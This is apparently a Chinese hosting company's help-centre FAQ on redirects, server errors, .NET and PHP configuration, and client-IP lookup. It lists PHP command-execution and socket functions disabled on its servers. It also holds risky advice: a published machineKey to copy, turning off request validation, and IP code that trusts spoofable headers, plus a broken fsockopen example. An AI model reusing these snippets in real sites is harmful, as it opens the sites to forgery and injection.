云虚拟主机使用伪静态实现301跳转的方法
  •   很多站长都希望让自己的网站可以在访问xxx.com时就可以像百度、腾讯这样的门户网站一样可以直接跳转到www.xxx.com。这种跳转叫做301重定向,是http协议的一种。当然还有302重定向,理论上都是一样的这里就不再介绍。我司的虚拟主机是没有直接提供301重定向设置的,所以需要使用伪静态的方法来实现,当然也可以通过网站程序上来实现。这里介绍伪静态的方法。

    方法一:只需将下面的代码加入到.htaccess文件,上传至网站根目录即可。
    RewriteEngine On
    RewriteCond %{HTTP_HOST} ^xxx.com$ [NC]
    RewriteRule ^(.*)$ http://www.xxx.com/$1 [L,R=301]
    这样我们就实现了网站的301重定向。注意,www.xxx.com只是一个示例域名,请修改成自己的域名。

    如果是需要将旧域名跳转至新域名,可使用以下规则:
    RewriteEngine on    
    RewriteCond %{HTTP_HOST} ^www.旧.com$ [OR]
    RewriteCond %{HTTP_HOST} ^旧.com$
    RewriteRule ^(.*)$ http://www.新.com [R=301,L]

    方法二:将规则文件写入Web.config文件的<rules>节点内即可。
    <rule name="301 Redirect" stopProcessing="true">
    <match url=".*" />
    <conditions>
    <add input="{HTTP_HOST}" pattern="^xxxxx.com" />
    </conditions>
    <action type="Redirect" url="http://www.xxxxx.com/{R:0}" redirectType="Permanent" />
    </rule>

    注:我司虚拟主机分为Windows与Liunx两种,分别采用了IIS和Apache作为Web服务器。
    IIS采用ISAPI_Rewrite或URL Rewrite伪静态组件,Apache采用自带的伪静态模块mod_rewrite。
    ISAPI_Rewrite和mod_rewrite都统一采用了.htaccess文件为伪静态的规则文件,URL_Rewrite则采用的是 Web.config 配置文件来实现伪静态。



ASP网站出现“常见错误 不能打开注册表关键字”的解决办法
  • 报错信息:

    Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005'
    [Microsoft][ODBC Microsoft Access Driver]常见错误 不能打开注册表关键字 'Temporary (volatile) Jet DSN for process 0x1844 Thread 0x1b40 DBC 0x554cc59c Jet'。
    /friends/conn.asp,行5


    解决办法:
    这是数据库连接失败造成的。

    首先检查conn.asp中数据库连接信息是否正确,并检查数据库是否存在。如果数据库已经存在并且连接程序中的路径没有错误,请将本地的access数据库重新上传。
    如果不能通过重新上传解决,请数据库下载到您本地电脑,用Access修复,再重新上传即可。

云虚拟主机禁用的PHP函数
  • dl
    exec
    multi_exec
    passthru
    pclose
    pfsockopen
    popen
    popepassthru
    proc_open
    shell_exec
    stream_socket_server
    system

关于PHP函数(p)fsockopen禁用的解决办法
  •   我们发现fsockopen pfsockopen函数存在着重大安全隐患,会对整个机房产生极大的影响,为了维护机房以及自身网络的稳定,我们不得不在所有主机产品上禁用fsockopen pfsockopen函数,我们会首先将隐患发生较重的服务器着手操作,其他的服务器会分批分量进行,有使用此功能的网站建议用户提前修改程序,以免影响网站的正常使用,给您带来不便,请您谅解!

    关于fsockopen pfsockopen函数被禁用的解决方法

       一、

       服务器同时禁用了fsockopen pfsockopen,那么用其他函数代替,如stream_socket_client()。注意:stream_socket_client()和fsockopen()的参数不同。

       具体操作:

       搜索程序中的字符串 fsockopen( 替换为 stream_socket_client( ,

       然后,将原fsockopen函数中的端口参数“80”删掉,并加到$host。

       示例如下,修改前:    

          $fp = fsockopen($host, 80, $errno, $errstr, 30);

       修改后:    

          $fp = stream_socket_client($host."80", $errno, $errstr, 30);

       二、

       如果PHP版本低于5.0,fsockopen被禁用,又没有stream_socket_client()怎么办呢?自己写一个函数实现fsockopen的功能,参考代码:

           function b_fsockopen($host, $port, &$errno, &$errstr, $timeout) {

           $ip = gethostbyname($host);

           $s = socket_create(AF_INET, SOCK_STREAM, 0);

           if (socket_set_nonblock($s)) {

               $r = @socket_connect($s, $ip, $port);

                   if ($r || socket_last_error() == EINPROGRESS) {

                       $errno = EINPROGRESS;

                       return $s;

                   }

               }

           $errno = socket_last_error($s);

           $errstr = socket_strerror($errno);

           socket_close($s);

           return false;

       }    


Windows下自由创建.htaccess文件的几种方法
  •           .htaccess是apache的访问控制文件,apache中httpd.conf的选项配合此文件,完美实现了目录、站点的访问控制,当然最多的还是rewrite功能,即URL重写,PHP中实现伪静态的一个重要途径,也是被公认为SEO中搜索引擎友好的极为有效的一个手段。

         现在的一个实际问题就是windows不允许重命名时.的前面没有字符,它认为这样的文件名是不合法的。这就造成我们无法通过重命名”新建文本文档.txt”为”.htaccess”来创建此访问控制文件,但是,事情总有解决的办法。且看下面的几个方法:

       1、使用DOS命令,在DOS下有三种方法可供选择:

         使用屏幕编辑命令copy con .htaccess后回车,输入内容,最后按下ctrl+z结束编辑,就成功生成了.htaccess;

         使用重命名命令ren 1.txt .htaccess ,这是最常规的方法了,在windows窗口下不能执行的命令,在cmd下却如履平地;

         使用重定向命令 echo. >.htaccess,这里将一个回车符输入到.htaccess,同样能创建成功。

       使用DOS命令创建.htaccess文件

       2、用winrar的文件管理器

         先新建一文本文档,然后打开winrar主界面,定位到该文件,可以直接重命名,当然你使用7zip之类的管理器也是可以的。

       用winrar的文件管理器创建.htaccess文件

       

      3、直接通过文本编辑工具保存

         例如记事本,ultraEdit等等,不过保存的时候选择所有文件就可以了,如图:

       Windows下自由创建.htaccess文件的五种方法

       4、使用php中的文件创建方法

         fopen,file_put_contents文件名直接取.htaccess就可以创建成功。

       

       

       

伪静态规则转换技巧:.htaccess导入为web.config
  • 有很多用户购买了windows server 2008的主机,但却因为不能使用.htaccess伪静态规则而很苦恼。因为我们的windows server 2008服务器全平台采用微软组件,所以不再支持.htaccess,只能使用微软原生的web.config文件,将其匹配的规则写入在里面,规则可由程序开发商提供,或者自行进行编写。那么,如果只有像.htaccess这样的规则文件怎么办呢?实际上强大的微软是已经考虑到了这一点,微软的伪静态组件提供了一个规则导入功能,可以将.htaccess规则导入为web.config文件支持的伪静态规则,具体的操作请参考如下。

    操作环境:

    1、windows vsta以上版本的操作系统。

    2、安装7.0以上版本的IIS

    3、http://www.microsoft.com/web/gallery/install.aspx?appid=urlrewrite2下载安装URL_Rewrite组件并安装在IIS上。

    操作步骤:

    做好准备工作,确保是以上环境后进行以下操作。

    1、打开IIS创建一个站点,当然也可使用默认的站点。



    2、选中站点,进入站点的功能主页。如果安装了URL_Rewrite组件,就可以在IIS一栏中看到URL重写的功能。这个就是微软伪静态组件。

    3、选中URL重写,并双击进入该组件设置页,可看到已经重新的URL规则,也就是伪静态规则。在右侧则有设置URL重写的操作。

    4、点击右侧的导入规则(注意在做此步操作前为了保证我们获取到的规则没有任何其他内容在里面,请先将站点根目录下的web.config文件删除。)

    5、进入导入规则页,可在要导入的规则处进行选择.htaccess文件进行自动导入,也可以将.htaccess文件中的规则复制后粘贴到下方的重写的规则文件。

    6、导入后,可以已转换的规则中看到转换完成后的规则。

    7、确认已经转换的规则全部都是绿色的勾后,说明规则已经没有问题可以正常使用。最后点击右侧的应用生成web.config文件,将此文件直接通过ftp上传至空间的网站根目录中。

    注意事项:

    1、以上操作均为本地电脑进行

    2、按照本文档在本地电脑搭建适当的环境以后无需任何技术帮助处理,用户可自己直接完成操作。

    3、如果遇到转换后规则不生效的情况,请注意规则中是否有错误的转义字符。因为IIS有可能会将该类型转义字符识别为路径目录标识。

ShopEx网上商店程序访问首页空白
  • 很多人在网站做了些修改后出现ShopEx主页空白的情况,遇到这种情况一般是没有清空缓存所致。

    解决方法如下:

    1、如果可以进入后台管理就进入后台----关于-----缓存系统-----清空缓存就可以了。

    2、如果进入不了后台管理,就登陆FTP或者在线文件管理进入到ShopEx程序目录(本例在程序在ShopEx目录)里面的home/cache/,删掉缓存文件cachedata.php


ShopEx出现include_v5目录下文件报错的解决办法
  • 原因:缓存问题


    解决方法:

    打开confing/confing.php,将define('WITHOUT_CACHE',false);修改为define('WITHOUT_CACHE',true);

    其中false为默认值,代表开启缓存,网站在关闭缓存后访问正常。

    注意,在清理ShopEx缓存后,应改回define('WITHOUT_CACHE',false);

ASP+Access网站数据表锁死导致网站无法访问的解决方法
  • 此问题主要针对使用Windows Server 2008空间的用户,但根据测试其他Windows操作系统的出现类似方法也可尝试使用此方法进行解决。


    检查网站程序的连接Access数据库方式是使用是否与如下的类似:

    DBQ="+server.MapPath(""&db&"")+";DefaultDir=;Driver={Microsoft Access Driver (*.mdb)};

    如果是的话,并且出现Access数据表锁死,即生成的ldb文件无法自动清除,可尝试将数据库连接方式更换为以下的方式:

    Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")

    具体的代码,可参考:

    <%dim conndim connstrdim dbdb="xxx.mdb"Set conn = Server.CreateObject("ADODB.Connection")connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")conn.Open connstr If Err Then   err.Clear   Set Conn = Nothing   Response.Write "服务器正在维护,请稍后再试。"   Response.EndEnd If Sub CloseConn()                '以下是断开数据库连接语句   conn.close   set conn=nothingEnd Sub %>


云虚拟主机HTTP状态调试常见问题
  • 1、返回200,但是页面访问网页无法显示(或者空白)
       1)、本地浏览器缓存。
           清空本地浏览器缓存,Cookie后测试。
       2)、访问服务器上的首页文件本身无任何内容。
           A、网站被挂马,首页文件被清空。
           B、通过FTP软件上传,空间使用已满,更新文件上传不成功,但是原来的数据已经被清空。
           C、首页文件是通过程序静态化生成的文件(html/htm/shtml)空间无写入权限或者空间已满,导致自动生成首页为空。
       3)、程序本身设置的缓存数据为空或者其他未知问题读取缓存为空(多见PHP程序实现的CMS程序)。
           检测或者处理方式:删除程序中所使用的缓存目录下的所有文件。
       4)、数据库数据为空,目前已经遇到MySQL数据库和Access数据库,原因多为客户使用原因。
       5)、数据无发读取,常见ASP程序使用Access数据库,数据读取失败,但是没有明显的报错信息,页面可能无法显示内容。
           数据无发读取原因:
               A、无访问权限。

               B、数据库损坏。


    2、返回200,内容不是程序相关内容。

       一般为被挂马导致文件被修改。


    3、返回信息404。
       1)该文件不存在。
           检查网站FTP目录下是否存在该访问的文件。
       2)文件存在,返回404。
           1、检查访问的域名解析是否为该服务器IP。
           2、检查访问的域名是否做了我司转发解析m.938030968.com
               上述检查后无异常,检查空间是否对该扩展名支持。检查方法:上传探针文件。

                   A、PHP文件不支持  新建TXT文件,重命名为.php文件,内部写入以下代码:

                       <?php phpinfo(); ?>

                   B、ASP文件不支持  新建TXT文件,重命名为.asp文件,内部写入以下代码:

                       <%  Response.Write "test" %>

                  C、ASPX文件不支持  新建TXT文件,重命名为.aspx文件,内部写入任意内容 如:test。
           3、以上调试中如果测试页面也报错404,可以断定为服务器不支持该程序,需要打开IIS-主目录-配置-添加应用程序扩展。
           4、其他特殊扩展文件名不支持 如doc、flv、mp3等。
               虚拟主机没有添加相关的MIME映射。
               打开IIS-右键属性-HTTP头-MIME类型-新建对应的MIME扩展名。

               具体联系我司客服人员咨询。


       3)程序使用了伪静态。
           检查服务器是否支持伪静态:

           上传.htaccess文件,写入规则:

           RewriteRule ^(.*)$ http://baidu.com/$1 [R=301,L]

           访问首页成功正常跳转到百度,伪静态功能运行正常
.NET网站无法访问
  • 1、通过管理助手建立.NET网站一定要在.NET脚本映射选项选择.NET版本,可以通过打开iis,单击站点右键--属性--ASP.NET--ASP.NET version 是否有版本信息,没有加直接加上

    2、如果无法正常访问,报错-服务器应用程序不可用,检查空间目录权限是不是有NETWORK SERVICE权限

    3、其他错误信息,请使用在<system.web>节点下加上<customErrors mode="Off"/>错误异常抛出配置来检查:是否存在权限问题或者本身程序问题


    1)提示运行时错误,提示配置文件<system.web> 节点下需要加<customErrors mode="Off"/>
       按照提示到配置文件web.config文件下system.web节点添加<customErrors mode="Off"/>,并保证customErrors在整个配置文件下是唯一的,异常抛出后就可以检查到具体的错误信息
          1、添加后显示抛出异常
             针对结果处理方法:
             1)分析器错误消息: 无法识别的元素,检查报错的具体位置,查看是不是有非法字符
             2)数据库连接错误:报错类似Access denied for user或者提示sql错误          
             3)使用的.NET版本不对,如类似以下提示:<compilation debug="true" targetFramework="4.0" />
             4)权限问题,提示:无权限访问或者写入某个文件或者某个路径
                 处理方法:根据提示虚拟主机在web目录下加上IIS_WPG的相关权限,云主机上站点目录下添加NETWORK SERVICE 相关权限
             5)安全性异常
                 原因:服务器上对.NET程序某些特定的功能做了限制,也就是不支持相关的一些配置,如果提示配置文件某个节点错误
                 先检查该节点是否合法,合法的情况下可能是安全性做了限制
                 测试或者解决方法
                 1、最简单的调试方法,删除该节点
                 2、虚拟主机需要转移到安全性要求低的服务器
             6)请求验证过程检测到有潜在危险的客户端输入值
                 原因:传递的字符串不符合格式,使用在线编辑器提交数据时,使用的富文本信息,会报这样的错误
                 处理方法:
                 配置文件web.config文件下<system.web>节点下添加            
                 <pages validateRequest="false"/>
                 继续报错,再添加
                 <httpRuntime requestValidationMode="2.0"/>
                 继续报配置文件错误 :<httpRuntime requestValidationMode="2.0"/>
                 需要更换站点.NET版本为4.0,可以处理掉              
          2、添加后任显示提示运行时错误页面
             检查方法:
             1)检查程序是否存在于子目录下:虚拟空间没有开放子站点功能,如果程序是在子目录,将一直提示该页面
             2)配置文件下存在非法子节点:
                 检查方法:打开IIS-网站-选择当前站点-右键属性-ASP.NET-Edit Configurtion-打开时会有错误信息提示
             3)通过电脑上的日志文件查看报错信息
                 操作方法:我的电脑右键-管理-事件查看器-应用程序




在线编辑器eWebEditor打开后功能都无法使用
  • 原因:浏览器的兼容性问题,如果不做如下修改,仅兼容IE6

    解决方法:
    打开eWebEditor\include下面的editor.js文件代码:
    if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");
    改成:
    if(navigator.appVersion.match(/8./i)=='8.') {   if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "onclick(event)"); } else { if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()"); }

后台登录提示验证视图状态 MAC 失败
  • 原因:多台WEB服务器上的WEB应用程序没有使用统一的machineKey导致的

    处理方法:<system.web>节点下加入

    <machineKey validationKey="3FF1E929BC0534950B0920A7B59FA698BD02DFE8" decryptionKey="280450BB36319B474C996B506A95AEDF9B51211B1D2B7A77" decryption="3DES" validation="SHA1"/>


HTTP状态码(HTTP Status Code)
  • 1xx(临时响应)表示临时响应并需要请求者继续执行操作的状态代码。
       100 (继续) 请求者应当继续提出请求。 服务器返回此代码表示已收到请求的第一部分,正在等待其余部分。
       101 (切换协议) 请求者已要求服务器切换协议,服务器已确认并准备切换。
    2xx (成功)表示成功处理了请求的状态代码。
       200 (成功) 服务器已成功处理了请求。 通常,这表示服务器提供了请求的网页。
       201 (已创建) 请求成功并且服务器创建了新的资源。
       202 (已接受) 服务器已接受请求,但尚未处理。
       203 (非授权信息) 服务器已成功处理了请求,但返回的信息可能来自另一来源。
       204 (无内容) 服务器成功处理了请求,但没有返回任何内容。
       205 (重置内容) 服务器成功处理了请求,但没有返回任何内容。
       206 (部分内容) 服务器成功处理了部分 GET 请求。
    3xx (重定向)表示要完成请求,需要进一步操作。 通常,这些状态代码用来重定向。
       300 (多种选择) 针对请求,服务器可执行多种操作。 服务器可根据请求者 (user agent) 选择一项操作,或提供操作列表供请求者选择。
       301 (永久移动) 请求的网页已永久移动到新位置。 服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。
       302 (临时移动) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
       303 (查看其他位置) 请求者应当对不同的位置使用单独的 GET 请求来检索响应时,服务器返回此代码。
       304 (未修改) 自从上次请求后,请求的网页未修改过。 服务器返回此响应时,不会返回网页内容。
       305 (使用代理) 请求者只能使用代理访问请求的网页。 如果服务器返回此响应,还表示请求者应使用代理。
       307 (临时重定向) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
    4xx(请求错误)这些状态代码表示请求可能出错,妨碍了服务器的处理。
       400 (错误请求) 服务器不理解请求的语法。
       401 (未授权) 请求要求身份验证。 对于需要登录的网页,服务器可能返回此响应。
       403 (禁止) 服务器拒绝请求。
       404 (未找到) 服务器找不到请求的网页。
       405 (方法禁用) 禁用请求中指定的方法。
       406 (不接受) 无法使用请求的内容特性响应请求的网页。
       407 (需要代理授权) 此状态代码与 401(未授权)类似,但指定请求者应当授权使用代理。
       408 (请求超时) 服务器等候请求时发生超时。
       409 (冲突) 服务器在完成请求时发生冲突。 服务器必须在响应中包含有关冲突的信息。
       410 (已删除) 如果请求的资源已永久删除,服务器就会返回此响应。
       411 (需要有效长度) 服务器不接受不含有效内容长度标头字段的请求。
       412 (未满足前提条件) 服务器未满足请求者在请求中设置的其中一个前提条件。
       413 (请求实体过大) 服务器无法处理请求,因为请求实体过大,超出服务器的处理能力。
       414 (请求的 URI 过长) 请求的 URI(通常为网址)过长,服务器无法处理。
       415 (不支持的媒体类型) 请求的格式不受请求页面的支持。
       416 (请求范围不符合要求) 如果页面无法提供请求的范围,则服务器会返回此状态代码。
       417 (未满足期望值) 服务器未满足”期望”请求标头字段的要求。
    5xx(服务器错误)这些状态代码表示服务器在尝试处理请求时发生内部错误。 这些错误可能是服务器本身的错误,而不是请求出错。
       500 (服务器内部错误) 服务器遇到错误,无法完成请求。
       501 (尚未实施) 服务器不具备完成请求的功能。 例如,服务器无法识别请求方法时可能会返回此代码。
       502 (错误网关) 服务器作为网关或代理,从上游服务器收到无效响应。
       503 (服务不可用) 服务器目前无法使用(由于超载或停机维护)。 通常,这只是暂时状态。
       504 (网关超时) 服务器作为网关或代理,但是没有及时从上游服务器收到请求。
       505 (HTTP 版本不受支持) 服务器不支持请求中所用的 HTTP 协议版本。


如何在访问网站遇到错误可以让浏览器显示出来
  • 这个问题主要是针对IE浏览器的,操作步骤如下:

       1、打开IE浏览器点击菜单栏上面的“工具 > Internet 选项”或者在桌面上鼠标右键点击IE图标,然后打开“属性”。
       2、在弹出来的“Internet 选项”选项卡对话框中点击“高级”选项卡,在“设置”列表里面找到“显示友好 http 错误信息”把勾去掉,最后点击“应用”按钮保存,再点击“确认”按钮关闭对话框,重启浏览器。以后访问网站如果遇到网站无法访问、http500等错误就可以具体显示出错的信息了。

域名访问网站报“Bad Request”错误
  • 错误请求(无效主机名)

    域名已绑定主机
       但主机未绑定域名就会出现这种情况!
       总结页面出现Bad Request (Invalid Hostname)的原因:
       1.如果确定域名已经解析生效,但是仍然不能访问,出现Bad Request (Invalid Hostname).那么这就可能是您没有绑定该域名的原因
       2.也有一部分情况, 比如一部分程序你上传之后就是用服务商提供的三级域名访问也是那个样子。也会有Bad Request (Invalid Hostname的错误提示
       3.域名未解析到帮定的主机,也会出现此种情况


互联网安全承诺书及整改报告
如何打开CMD
  • CMD为Windows的命令提示符程序,使用它可以做许多任务,如路由跟踪。


    方法一:直接打开文件:C:\Windows\System32\cmd.exe


    方法二:按“Win+R”组合键进入运行窗口,输入"cmd"再点击“确定”即可。(“Win键”就是最左侧Ctrl旁边那个键)


PHP网站如何设置错误显示
  • 出于安全原因,我们的服务器关闭了PHP错误显示。如果网站有报错,将不会显示详细的错误信息,会显示为空白。

    如果在调试网站时,需要显示错误信息。比如访问http://www.xxx.com/ad.php有问题,需要查看报错信息。您可在ad.php代码顶部添加如下代码:

    ini_set("display_errors","on");


    注意:php页通常以<?php开头,以上代码应该添加在起始标记的下一行,如:

    <?php

    ini_set("display_errors","on");

云虚拟主机网站后台超时过短的处理办法
  • 使用我司云虚拟主机搭建的网站,登录后台操作,如果在很短的时间内就提示“超时请重新登录”,处理方法如下:

    一、对于HTML、ASP、PHP网站,请提交工单申请调整程序池。


    二、对于ASP.NET网站,按下述方法处理:

          我们的服务器启用了ASP.NET State Service,请联系您网站的程序提供商修改web.config文件,使用StateServer方法调整超时时间。

FTP连接报530错误的处理方法
  • FTP连接时提示如下错误:


    这一般是用户名或密码输入错误导致,请在虚拟主机控制面板刷新查看最新的FTP账号密码。
    如果仍然提示该错误,请修改FTP密码(参考http://help.cdnhost.cn/menu.php?id=206#art1265)后再次尝试登录。


关于云虚拟主机管理员停止状态的说明
  • 目前虚拟主机控制被管理员停止的状态分为几种情况:

    管理员停止-非法信息关闭
       我们会给出非法信息内容或者具体链接,用户必须删除对应非法信息。处理后可以提交工单申请开启(网监或上级监管部门通知查处除外)。出现第二次,将关停三天,处理后再提交工单申请开启,第三次被停则永不开启。

    管理员停止-网站被攻击
       我们会给出具体证据(如日志文件),这种影响恶劣、范围广的情况,原则上面出现一次永不开启且不退款。

    管理员停止-网站流量过大
       我们会给出具体的流量大小以及相关统计数据。遇到这种情况,建议您升级空间或者是等下月初系统自动开启新流量计数。

    管理员停止-网站程序异常
       我们会给出具体证据,您需要根据提示对程序进行优化修改。处理后,第一次可以提交工单申请开启,第二次将关停三天再提交工单申请开启,第三次被停则永不开启。

    管理员停止-超过系统CPU限制
       我们会给出具体证据,您需要检查程序并修改。处理后,第一次可以提交工单申请开启,第二次将关停三天再提交工单申请开启,第三次被停则永不开启。



Linux虚拟主机如何设置友好的404页面
  • 在.htaccess 文件中加入如下内容即可:
    ErrorDocument 404 /notfound.php

    其中notfound.php为您上传至网站根目录的网页文件,可以是其他文件名,如404.html。


    注意:

    1.转向的页面不能是网站主页,即“ErrorDocument 404 /index.html”这样写是不对的。

    2.不要使用绝对URL,即不能写为“ErrorDocument 404 http://www.xxx.com/notfound.php”。


独立IP虚拟主机限制域名访问方法
  • 独立ip的主机有单独的IP,凡是解析到该IP的域名都可以访问,这对SEO非常不利,我们可以利用伪静态实现域名绑定,拒绝其他域名访问。

    方法如下:
    建立.htaccess文件,写入如下内容,并将.htaccess上传到网站根目录即可。
    RewriteEngine on
    RewriteBase /
    RewriteCond %{HTTP_HOST} !www.xxx.com [NC]
    RewriteCond %{HTTP_HOST} !xxx.com [NC]
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^.* – [F,L]

    按上述方法后,就限制了只能通过www.xxx.com、xxx.com来访问站点,用其他域名访问都会显示403Forbidden。

各种脚本语言获取客户端真实IP的方法
  • 各种语言获取客户端真是ip的方法

    1.PHP脚本获取客户端真实ip的方法

    整体思路:需要依次检查HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR、REMOTE_ADDR这三个是否

    存在,只要一旦有一个存在就结束


    获取示例代码:


    function GetIP(){

    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))

    $ip = getenv("HTTP_CLIENT_IP");

    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))

    $ip = getenv("HTTP_X_FORWARDED_FOR");

    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))

    $ip = getenv("REMOTE_ADDR");

    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))

    $ip = $_SERVER['REMOTE_ADDR'];

    else

    $ip = "unknown";

    return($ip);

    }


    其中对获取ip的三个属性HTTP_VIA、HTTP_X_FORWARDED_FOR、REMOTE_ADDR在使用代理服务器时获取的情况

    一、没有使用代理服务器的情况:

    REMOTE_ADDR = 自己的真实IP

    HTTP_VIA = 没数值或不显示

    HTTP_X_FORWARDED_FOR = 没数值或不显示



    二、使用Transparent Proxies(透明代理)服务器的情况

    REMOTE_ADDR = 最后一个代理服务器IP

    HTTP_VIA = 代理服务器IP

    HTTP_X_FORWARDED_FOR = 自己的真实IP


    三、使用Anonymous Proxies(匿名代理)服务器的情况

    REMOTE_ADDR = 最后一个代理服务器IP

    HTTP_VIA = 代理服务器IP

    HTTP_X_FORWARDED_FOR = 代理服务器IP


    四、使用Distorting Proxies(欺骗代理)服务器的情况:

    REMOTE_ADDR = 代理服务器IP

    HTTP_VIA = 代理服务器IP

    HTTP_X_FORWARDED_FOR = 随机IP,经过多个代理服务器时,这个值类似如下:203.98.182.163, 203.98.182.163, 203.129.72.215。


    五、使用Elite Proxies服务器的情况

    REMOTE_ADDR = 代理服务器IP

    HTTP_VIA = 没有数值或不显示

    HTTP_X_FORWARDED_FOR = 没有数值或不显示,经过多个代理服务器时,这个值类似如下:203.98.182.163, 203.98.182.163, 203.129.72.215。


    综上来看,PHP获取客户端真实IP的方法并不是能够百分之百成功的。


    2.ASP脚本获取客户端真实ip的方法

    获取的思路和PHP脚本的类似,也是通过判断HTTP_X_FORWARDED_FOR、REMOTE_ADDR来获取的

    但是由于客户端使用代理服务器缘故,并不能保证100%能够获取客户端真实ip


    Private Function getIP()

      Dim strIPAddr

      If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then

      strIPAddr = Request.ServerVariables("REMOTE_ADDR")

      ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then

      strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)

      ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then

      strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)

      Else

      strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")

      End If

      getIP = Trim(Mid(strIPAddr, 1, 30))

      End Function


    3.C#获取客户端真实ip的方法

    获取函数的思路类似,见如下代码:


    public static string GetIPAddress()

       {

           string user_IP = string.Empty;

           if (System.Web.HttpContext.Current.Request.ServerVariables["HTTP_VIA"] != null)

           {

               if (System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"] != null)

               {

                   user_IP = System.Web.HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"].ToString();

               }

               else

               {

                   user_IP = System.Web.HttpContext.Current.Request.UserHostAddress;

               }

           }

           else

           {

               user_IP = System.Web.HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"].ToString();

           }

           return user_IP;


    4.Java获取客户端真实ip的方法

    package com.viathink.utils;       //需要的Java包

    import javax.servlet.http.HttpServletRequest ;   //导入方法


    public static String getIpAddr(HttpServletRequest request) {

    String ip = request.getHeader("X-Forwarded-For");

    if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {

    ip = request.getHeader("Proxy-Client-IP");

    }

    if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {

    ip = request.getHeader("WL-Proxy-Client-IP");

    }

    if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {

    ip = request.getHeader("HTTP_CLIENT_IP");

    }

    if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {

    ip = request.getHeader("HTTP_X_FORWARDED_FOR");

    }

    if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {

    ip = request.getRemoteAddr();

    }

    return ip;

    }

    }


    5.Python获取客户端真实ip的方法

    代码如下:

    def get_client_ip(request):

    try:

       real_ip = request.META['HTTP_X_FORWARDED_FOR']

       regip = real_ip.split(",")[0]

    except:

       try:

           regip = request.META['REMOTE_ADDR']

       except:

           regip = ""

    return regip


云虚拟主机空间视频播放外链设置
  • 若您购买的机房非我司支持下载的机房,您的空间即无法在线播放空间内视频。这种情况下若您需要播放建议您设置视频外链。您可以先将您的视频上传于其他视频播放网站,如youku tudou 腾讯等,再在对应视频播放站播放页面处获得外链地址及对应代码,将代码插入至您站点中需要播放视频的页面即可。

    以优酷为例,上传后,在播放页面分享处点击箭头,会出现如图示内容

    复制html代码,并将对应代码插入您需要播放视频的页面中。

    您即可在您的页面上观看对应视频。

Session丢失的解决办法小结
  • 对于ASP、PHP网站且使用我司虚拟主机的用户,如果超时太短,可提交工单申请更换应用程序池(该应用程序池设置为只按时间回收,回收时间30分钟)。

    如果更换程序池后还是存在超时问题,请参考如下教程(.NET网站不能更换程序池,请直接参考如下教程检查处理):


    SessionState Timeout,其主要原因有三种


    一:有些杀病毒软件会去扫描您的Web.Config文件,那时Session肯定掉,这是微软的说法。
    二:程序内部里有让Session掉失的代码,及服务器内存不足产生的。
    三:程序有框架页面和跨域情况。


    对于使用我司虚拟主机产品的网站,第一种情况及第二种中的内存不足未发生过。


    第一种解决办法是使杀病毒软件屏蔽扫描Web.Config文件(程序运行时自己也不要去编辑它) 。
    第二种是检查代码有无Session.Abandon()之类的。
    第三种是在Window服务中将ASP.NET State Service 启动我司虚拟主机产品已启动该服务)。

    遇到asp.net session丢失了,然后又回来了,session里存储的是用户信息,最后导致每次刷新是不同的用户或是未登录状态。
    最后重写了验证机制,都放在了cookie里了,session不敢用了。
    问题是由于设置iis6的应用程序池内的性能内的最大web进程数导致的,由于session默认是存放在web进程里的,进程开多了,导致session不能共享,每次刷新又由不同的进程来处理,所以就导致刷新出来不同的用户,前提是在本机登录过这些用户。
    解决方法可以用stateserver或者用sqlserver模式来存储session。
    我司虚拟主机不存在这种情况,排查时可忽略。

    asp.net session丢失网上收集


    Asp.net 默认配置下,Session莫名丢失的原因及解决办法
    正常操作情况下Session会无故丢失。因为程序是在不停的被操作,排除Session超时的可能。另外,Session超时时间被设定成60分钟,不会这么快就超时的。

    原因:
    由于Asp.net程序是默认配置,所以Web.Config文件中关于Session的设定如下:
    <sessionState mode='InProc' stateConnectionString='tcpip=127.0.0.1:42424' sqlConnectionString='data source=127.0.0.1;Trusted_Connection=yes' cookieless='true' timeout='60'/>

    我们会发现sessionState标签中有个属性mode,它可以有3种取值:InProc、StateServer、SQLServer(大小写敏感)。默认情况下是InProc,也就是将Session保存在进程内(IIS5是aspnet_wp.exe,而IIS6是W3wp.exe),这个进程不稳定,在某些事件发生时,进程会重起,所以造成了存储在该进程内的Session丢失。

